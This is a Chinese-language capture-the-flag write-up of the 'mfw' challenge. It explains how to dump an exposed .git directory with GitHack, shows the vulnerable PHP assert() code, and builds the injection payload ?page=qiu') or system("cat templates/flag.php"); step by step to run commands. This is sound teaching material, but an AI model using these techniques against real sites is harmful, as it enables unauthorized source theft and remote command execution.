[CSAW/网络安全] Git泄露+命令执行 攻防世界 mfw 解题详析

Home界面:


Home界面翻译如下:

欢迎访问我的网站!

我自己从头开始写的!

您可以使用上面的链接浏览页面!


About界面:

观察到Git ,联想Git泄露

Git泄露

Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。

然而,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。

此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。

漏洞利用

通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。

如GET/.git以确认是否存在git泄露

查看是否存在Git漏洞

Payload:/.git

由上图,存在Git漏洞。

下载泄漏文件

利用python的githacker库下载泄露文件


GitHack的安装本文不再赘述

详情参考: [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析


打开Githack,输入Payload:
python GitHack.py http://61.147.171.105:61017/.git

得到文件

代码审计

其中,index.php文件存在以下代码:

复制代码
<?php
 
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
//传入page参数,如果没有,则设置为home
           
$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 ..  如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>

姿势

由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。

由于下载得到的文件中,templates目录路径下含有flag.php,故应读取该文件中内容

构造POC如下:

复制代码
?page=qiu or system("cat templates/flag.php");

由于qiu参数不存在,page=qiu返回false 可利用or执行system函数

同时观察到该行代码:

复制代码
assert("strpos('参数', '..') === false")

如果将上面的POC传入,则变为

复制代码
assert("strpos('qiu or system("cat templates/flag.php");', '..') === false") 

qiu未被括号闭合,该语句注入不成功

重新构造POC如下:

复制代码
?page=qiu') or system("cat templates/flag.php");

则语句变为:

复制代码
assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false") 

再用//将后面的语句注释掉即可

构造POC如下:

复制代码
?page=qiu') or system("cat templates/flag.php");//

则语句变为:

复制代码
assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false") 

最后的语句如下:

复制代码
assert("strpos('qiu') or system("cat templates/flag.php");

即可实现命令的成功执行:

总结

该题考察Git泄露之存储库读取姿势代码审计命令执行,读者可躬身实践。

相关推荐
zskj_zhyl38 分钟前
毫米波雷达守护银发安全:七彩喜跌倒检测仪重构居家养老防线
人工智能·安全·重构
小红卒2 小时前
upload-labs靶场通关详解:第21关 数组绕过
web安全·网络安全·文件上传漏洞
jingshaoqi_ccc5 小时前
GitKraken最后一个免费版本和下载地址
git·github·gitkraken·版本管理工具
乌云暮年5 小时前
Git简单命令
git·gitee·github·batch命令
qq_312920115 小时前
开源入侵防御系统——CrowdSec
安全·开源
饶了我吧,放了我吧7 小时前
计算机网络实验——无线局域网安全实验
计算机网络·安全·web安全
kp000008 小时前
GitHub信息收集
web安全·网络安全·信息收集
TracyCoder1238 小时前
Apache Shiro 框架详解
安全·apache·shiro·认证·登录
用户1259265423208 小时前
使用 Docker 搭建 Gitea 并实现 Git HTTP 自动登录
git
字节跳动安全中心9 小时前
当AI智能体学会“欺骗”,我们如何自保?来自火山的MCP安全答卷
安全·llm·mcp